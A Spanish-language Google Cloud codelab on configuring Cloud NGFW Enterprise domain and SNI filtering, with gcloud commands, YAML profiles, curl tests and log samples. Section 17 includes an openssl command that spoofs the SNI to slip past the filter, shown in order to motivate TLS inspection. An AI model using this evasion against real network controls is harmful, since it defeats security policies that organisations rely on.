1. Introducción
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzada, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de los ataques internos y externos.
La NGFW de Cloud tiene los siguientes beneficios:
- Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado basada en el host completamente distribuida en cada carga de trabajo para habilitar una arquitectura de seguridad de confianza cero.
- Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
- Control detallado y microsegmentación: La combinación de políticas de firewall y etiquetas administradas por Identity and Access Management (IAM) proporciona un control detallado para el tráfico norte-sur y este-oeste, hasta una sola VM, en redes y organizaciones de nube privada virtual (VPC).
Cloud NGFW está disponible en los siguientes niveles:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Los objetos FQDN de Cloud NGFW Standard pueden traducir nombres de dominio completamente calificados (FQDN) a direcciones IP y, luego, aplicar la regla a la lista de direcciones IP. Sin embargo, Cloud NGFW Enterprise con filtrado de dominios puede llevar la inspección un paso más allá.
Cloud NGFW Enterprise
Actualmente, Cloud NGFW Enterprise ofrece el servicio de prevención de intrusiones (IPS), una capacidad de capa 7, a la estructura distribuida de Google Cloud Firewall.
Cloud NGFW Enterprise ahora tiene filtrado de dominios, que proporciona control sobre el tráfico http(s) con nombres de dominio en lugar de depender de direcciones IP.
Para el filtrado de dominio o SNI del tráfico HTTPS, como parte del protocolo de enlace TLS, el Client Hello es una extensión que tiene la indicación de nombre del servidor (SNI). La SNI es una extensión del protocolo TLS que envía el nombre de host al que un cliente intenta acceder. Es el lugar donde se validará el filtrado.
Con el tráfico HTTP, no hay SNI, por lo que solo se usará el campo de encabezado Host de HTTP para aplicar el filtrado.
El filtrado de dominios se configura con un UrlFilteringProfile, que es un nuevo tipo de perfil de seguridad. El UrlFilteringProfile contendrá una lista de UrlFilters, cada uno de los cuales contendrá una acción, una lista de cadenas de comparador y una prioridad única. Esta configuración usa "URL" en lugar de "Dominio" para facilitar la transición al filtrado de URL completo cuando esté disponible, en lugar de crear un nuevo tipo de perfil de seguridad en el futuro.
Los UrlFilteringProfiles incluyen un UrlFilter implícito de prioridad más baja (2147483647) que denegará todas las conexiones que no coincidan con un UrlFilter de mayor prioridad.
Qué compilarás
En este codelab, se requiere un solo proyecto y la capacidad de crear una red de VPC, así como de administrar una cantidad de recursos de red y seguridad. Se demostrará cómo Cloud NGFW Enterprise puede proporcionar filtrado de dominio y SNI con instrucciones opcionales para la inspección de TLS.
Probaremos varias situaciones de reglas de permiso y denegación, incluido el uso de comodines.

El estado final de la base de reglas de la política de firewall de red será similar al de la siguiente tabla:
Prioridad | Dirección | Destino | Origen | Destino | Acción | Tipo |
200 | Entrada | TODO | IAP | Cualquiera | Permitir | Imprescindibles |
300 | Salida | TODO | Cualquiera | 0.0.0.0/0:80,443 | Inspección de L7 | Enterprise |
Qué aprenderás
- Cómo crear una política de firewall de red
- Cómo configurar y usar el filtrado de SNI/dominio de Cloud NGFW Enterprise
- Cómo configurar la prevención de amenazas además del filtrado de dominio o SNI
- Cómo revisar los registros
- [Opcional] Cómo habilitar la inspección de TLS
Requisitos
- Proyecto de Google Cloud.
- Conocimiento sobre la implementación de instancias y la configuración de componentes de redes
- Conocimiento de la configuración del firewall de la política de red
2. Antes de comenzar
Crear o actualizar variables
En este codelab, se usan variables para facilitar la implementación de la configuración de gcloud en Cloud Shell.
En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=domain-sni
3. Habilita las APIs
Habilita las APIs si aún no lo hiciste:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable privateca.googleapis.com
4. Creación de extremos de Cloud NGFW Enterprise
Dado que la creación del extremo de Cloud NGFW Enterprise tarda unos 20 minutos, se creará primero y la configuración básica se puede realizar en paralelo mientras se crea el extremo.
El filtrado de dominio o SNI requerirá un extremo de firewall, incluso si no planeas usar perfiles de prevención de amenazas.
Crea el perfil de seguridad y el grupo de perfiles de seguridad:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$project_id
Ejecuta el siguiente comando para confirmar que se está creando el extremo (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
El proceso de creación tarda alrededor de 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.
5. Configuración básica
Red de VPC y subred
Red de VPC y subred
Crea la red y la subred de VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Crea la dirección IP externa, el Cloud Router y la puerta de enlace de Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Creación de instancias
Crea la instancia del cliente:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet \ --no-address \ --zone $zone
Política de firewall de red global
Crea una política de firewall de red global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Domain/SNI Filtering" --global
Crea las reglas de Cloud Firewall Essential necesarias para permitir el tráfico desde los rangos de Identity-Aware Proxy:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Asocia la política de firewall de Cloud a la red de VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Crea configuraciones de filtrado de dominio o SNI para permitir
A continuación, configuraremos los dominios que se permitirán y rechazarán. Desde Cloud Shell, crea el archivo YAML:
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- 'www.example.com'
EOF
Crea un perfil de seguridad importando la configuración de YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Resultado esperado:
Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- www.example.com
- filteringAction: DENY
priority: 2147483647
urls:
- '*'
Crea un grupo de perfiles de seguridad:
gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp
Valida que el SPG contenga el perfil de seguridad:
gcloud network-security security-profile-groups describe $prefix-spg \ --location=global \ --organization=$org_id \ --project=$project_id
Resultado esperado:
{
"createTime": "2025-09-19T22:06:15.298569417Z",
"dataPathId": "685",
"etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
"name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"updateTime": "2025-09-19T22:06:19.201991641Z",
"urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}
7. Asociación del extremo de firewall de Cloud
Define las variables de entorno en caso de que aún no lo hayas hecho o prefieras el enfoque de la secuencia de comandos.
Confirma que la creación del extremo de Cloud Firewall se haya completado correctamente. Solo continúa cuando el estado se muestre como ACTIVO (durante la creación, el estado esperado es CREANDO):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Asocia el extremo de Cloud Firewall a la red de VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
El proceso de asociación tarda unos 10 minutos. Solo continúa con la siguiente sección una vez que el estado se muestre como ACTIVO (durante la creación, el estado esperado es CREANDO):
gcloud network-security firewall-endpoint-associations list
Resultado esperado cuando complete:
ID: $prefix-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
8. Crea reglas de firewall para el filtrado de dominio o SNI
Google tiene reglas de firewall de permiso de salida implícitas. Si queremos aplicar el filtrado de dominio o SNI, debemos definir una regla de forma explícita. La siguiente regla enviará el tráfico de salida para los puertos de destino 80 y 443 para que nuestro perfil de seguridad lo inspeccione.
gcloud compute network-firewall-policies rules create 300 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --layer4-configs=tcp:80,tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging
9. Valida las reglas de permiso
Inicia una conexión SSH a la VM a través de IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envía las solicitudes de muestra al destino permitido:
curl https://www.example.com --max-time 2
Observa que esta solicitud se realizó correctamente debido a la regla de firewall "allow".
Probemos con un par de dominios que no forman parte de la lista.
curl https://example.com --max-time 2 curl https://google.com --max-time 2 curl https://wikipedia.org --max-time 2
Resultado esperado:
curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer
¿Por qué no funcionó "example.com"? Esto se debe a que la configuración del perfil de seguridad incluía explícitamente "www.example.com". Si quisiéramos permitir todos los subdominios de example.com, podríamos usar un comodín.
Las otras solicitudes también fallaron. Esto se debe a que el grupo de perfil de seguridad tiene un rechazo predeterminado con la prioridad más baja y solo se permite www.example.com.
Sal de la VM para volver a Cloud Shell.
exit
10. Actualiza la configuración de filtrado de dominio o SNI para comodines
Echemos un vistazo al archivo YAML y realicemos algunas actualizaciones adicionales para mostrar capacidades adicionales, incluida la compatibilidad con comodines. Crearemos una regla que permita "*.com", que equivale a cualquier dominio que termine en .com. Nota: Esto reemplazará por completo el contenido del archivo YAML original creado en la sección anterior.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Actualiza el perfil de seguridad con la nueva configuración de YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Valida la configuración del perfil de seguridad:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Resultado esperado:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T03:45:42.519263424Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "ALLOW",
"priority": 2000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
11. Valida la regla de comodín
Validemos si la regla de comodín funciona. Inicia una conexión SSH a la VM a través de IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envía las solicitudes de muestra a los destinos permitidos:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Todas estas solicitudes deberían haberse completado correctamente. Puedes probar cualquier otro dominio .com válido. Si aún no se realizan correctamente, asegúrate de haber esperado al menos 10 minutos y vuelve a intentarlo.
Incluso podemos probar varios subdominios de ".com" y todos deberían funcionar.
curl https://mail.google.com --max-time 2
Sal de la VM para volver a Cloud Shell.
exit
12. Actualiza la configuración de filtrado de dominio o SNI para rechazar
Demostramos que hay una regla de DENY implícita para * al final del perfil de seguridad y creamos dominios "permitidos" con filteringAction como "ALLOW". Analicemos cómo usar filteringAction como "DENY". Las acciones de DENY pueden ser útiles cuando preceden a un ALLOW explícito. Considera el siguiente ejemplo:
Actualizaremos nuestro archivo YAML existente para permitir *.com, pero rechazaremos específicamente ciertos dominios .com.
Modificaremos el archivo YAML para RECHAZAR *.github.com y *.google.com, y, al mismo tiempo, permitiremos explícitamente todos los demás *.com y mantendremos el rechazo predeterminado implícito. Ten en cuenta que la prioridad de las excepciones debe tener un número de prioridad más bajo: (1,000 vs. 2,000) y (1,500 vs. 2,000).
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.github.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.google.com'
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Actualiza el perfil de seguridad con la nueva configuración de YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Valida la configuración del perfil de seguridad:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
13. Valida las reglas de denegación
Validemos si las reglas de DENY funcionan. Inicia una conexión SSH a la VM a través de IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envía las solicitudes de muestra a los destinos rechazados:
curl https://www.github.com --max-time 2 curl https://mail.google.com --max-time 2
Estas dos solicitudes deberían haber fallado, ya que coincidían con la regla "DENY".
Envía algunas solicitudes adicionales:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
¿Por qué funcionaron? Esto funcionó porque las reglas de DENY eran para ".github.com" y ".google.com". Las solicitudes a github.com y google.com no incluyen ese comodín, ya que hacen referencia a subdominios de github.com y google.com.
Las demás solicitudes a dominios .com deberían ser exitosas, con un rechazo predeterminado para otros dominios. (.org, .net, .me, etcétera)
Sal de la VM para volver a Cloud Shell.
exit
14. Actualiza la configuración de filtrado de dominio o SNI para la opción de permitir de forma predeterminada
¿Qué sucede si deseas tener un comportamiento predeterminado de PERMITIR con reglas de rechazo explícitas? Actualizaremos el archivo YAML para que muestre este comportamiento. Configuraremos reglas de RECHAZO para cualquier dominio .com o .net, y permitiremos todos los demás.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.net'
- filteringAction: ALLOW
priority: 2000000000
urls:
- '*'
EOF
Actualiza el perfil de seguridad con la nueva configuración de YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Valida la configuración del perfil de seguridad:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Resultado esperado:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T04:32:53.299276787Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "DENY",
"priority": 1000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 1500,
"urls": [
"*.net"
]
},
{
"filteringAction": "ALLOW",
"priority": 2000000000,
"urls": [
"*"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
Observa que aún existe el DENY implícito para *. Esa regla deja de ser pertinente porque configuramos una regla predeterminada de mayor prioridad (valor más bajo) que tiene filteringAction establecida en ALLOW.
(2,000,000,000 vs. 2,147,483,647)
15. Valida las reglas de denegación con el permiso predeterminado
Validemos si las reglas de RECHAZAR funcionan junto con la regla de PERMITIR predeterminada. Inicia una conexión SSH a la VM a través de IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envía las solicitudes de muestra a los destinos rechazados:
curl https://www.github.com --max-time 2 curl https://www.php.net --max-time 2
Estas dos solicitudes deberían haber fallado, ya que coincidían con la regla "DENY". Cualquier solicitud de .com o .net debería fallar.
Envía algunas solicitudes que deberían ser exitosas (cualquier otro dominio de nivel superior):
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Estas solicitudes deberían completarse correctamente, ya que alcanzan la regla de permiso "predeterminada" con prioridad 2000000000.
16. Explora los registros para el filtrado de SNI o dominio
Veamos cómo podemos validar si la regla de firewall inspecciona el tráfico para el filtrado de dominio o SNI.
En la consola de Cloud, navega al Explorador de registros y, luego, ingresa el siguiente filtro:
jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"
El filtro anterior analiza la política de firewall que creamos llamada $prefix-fwpolicy y la prioridad de la regla de 300 que tiene el grupo de perfil de seguridad asociado con la configuración de filtrado de dominio o SNI.

Como puedes ver, el estado de "disposición" indica "INTERCEPTED", lo que significa que el tráfico se interceptó y se envió a nuestro motor de firewall para su procesamiento.
Ahora, para ver los registros de filtrado de dominio/SNI reales, podemos ingresar el siguiente filtro en el Explorador de registros: (Debes reemplazar $project_id por el valor de tu project_id)
logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

Si expandimos algunos de los detalles, podemos ver los siguientes detalles en un ejemplo (saneado):
{
"insertId": "mro2t1f4banf9",
"jsonPayload": {
"direction": "CLIENT_TO_SERVER",
"detectionTime": "2025-09-20T04:39:40.713432713Z",
"connection": {
"serverPort": 443,
"serverIp": "198.35.26.96",
"clientPort": 37410,
"protocol": "TCP",
"clientIp": "10.0.0.2"
},
"action": "ALLOW",
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"ruleIndex": 2000000000,
"interceptInstance": {
"projectId": "$project_id",
"zone": "$zone",
"vm": "$prefix-$zone-client"
},
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
},
"sessionLayerDetails": {
"sni": "wikipedia.org",
"protocolVersion": "TLS1_2"
},
"denyType": "unspecified",
"interceptVpc": {
"projectId": "$project_id",
"vpc": "$prefix-vpc"
},
"uriMatched": ""
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:39:43.758897121Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}
En el registro de ejemplo anterior, se muestra una solicitud a wikipedia.org que se PERMITIÓ porque coincidió con la regla de prioridad 2000000000 que era "*" con filterAction ALLOW. Hay otros detalles, incluido el SNI.
Podemos ver un registro de muestra de DENY:
{
"insertId": "1pllrqlf60jr29",
"jsonPayload": {
"securityProfileGroupDetails": {
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"organizationId": "$org_id"
},
"action": "DENY",
"interceptVpc": {
"vpc": "$prefix-vpc",
"projectId": "$project_id"
},
"connection": {
"serverIp": "45.112.84.18",
"clientIp": "10.0.0.2",
"protocol": "TCP",
"serverPort": 443,
"clientPort": 45720
},
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"sessionLayerDetails": {
"sni": "www.php.net",
"protocolVersion": "TLS1_2"
},
"interceptInstance": {
"zone": "$zone",
"projectId": "$project_id",
"vm": "$prefix-$zone-client"
},
"detectionTime": "2025-09-20T04:37:57.345031164Z",
"direction": "CLIENT_TO_SERVER",
"ruleIndex": 1500,
"uriMatched": "",
"denyType": "SNI"
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:38:03.757200395Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}
Como podemos ver arriba, esta es una solicitud que se registró cuando se rechazó una solicitud. La solicitud se realizó a www.php.net, que coincidió con la regla 1500 del perfil de seguridad. Del mismo modo, se comparó con el SNI para tomar la decisión.
17. Validar reglas cuando hay suplantación de SNI
Como se mencionó en la introducción, NGFW Enterprise puede consultar el encabezado de host HTTP para el tráfico HTTP o el SNI para el tráfico encriptado con TLS. Es posible que las personas suplanten la identidad de SNI. ¿Qué sucede si lo hacen?
Validemos el comportamiento. Inicia una conexión SSH a la VM a través de IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Ejecuta el siguiente comando de openssl para suplantar el SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
En el ejemplo anterior, se espera que se bloqueen las solicitudes a los dominios .com y .net, y que se permitan otros TLD. A continuación, se muestra un ejemplo de una respuesta suplantada. La solicitud se envía a www.google.com, que debería estar bloqueado, pero, en lugar de enviar una SNI de www.google.com, especificamos una SNI de ifconfig.me. Dado que la política verifica el SNI, lo verá como un dominio “permitido” y lo dejará pasar. Logramos una conexión TLS exitosa a google.com.
.
Resultado esperado:
CONNECTED(00000003) depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services, CN = WR2 verify return:1 depth=0 CN = www.google.com verify return:1 --- Certificate chain 0 s:CN = www.google.com i:C = US, O = Google Trust Services, CN = WR2 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Sep 8 08:37:54 2025 GMT; NotAfter: Dec 1 08:37:53 2025 GMT 1 s:C = US, O = Google Trust Services, CN = WR2 i:C = US, O = Google Trust Services LLC, CN = GTS Root R1 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1 i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256 v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU 5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2 IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+ x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/ zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc 1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr jr89HAhAtpQGEarldpmnJPMadHEcdw== -----END CERTIFICATE----- subject=CN = www.google.com issuer=C = US, O = Google Trust Services, CN = WR2 --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 4495 bytes and written 397 bytes Verification: OK --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Aquí es donde la inspección de TLS puede ayudar a cerrar esta brecha.
Cierra la conexión y sal de la VM:
"ctrl" + c exit
18. [Opcional] Inspección de TLS
Configura recursos de TLS
Esta sección es opcional, ya que el filtrado de dominio o SNI funciona sin necesidad de inspección de TLS. Sin embargo, es posible que desees tener la inspección de TLS si planeas usar la prevención de amenazas o, en el futuro, cuando esté disponible el filtrado de URL completo, poder compilar reglas basadas en rutas de acceso en el perfil de seguridad.
Además, la inspección de TLS proporciona una capa adicional de verificaciones, ya que la suplantación de SNI es una posibilidad.
Crea un grupo de CA. Este recurso se usará para alojar el certificado de la CA raíz que generamos para NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops
Crea la CA raíz. Este es el certificado de CA que se usará para firmar certificados adicionales para solicitudes a través de NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"
Si ves el siguiente mensaje, responde y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Crea una cuenta de servicio. Esta cuenta de servicio se usará para solicitar certificados para el NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Configura los permisos de IAM para la cuenta de servicio:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Crea el archivo YAML de la política de TLS. Este archivo contendrá información sobre los recursos específicos:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Importa la política de inspección de TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
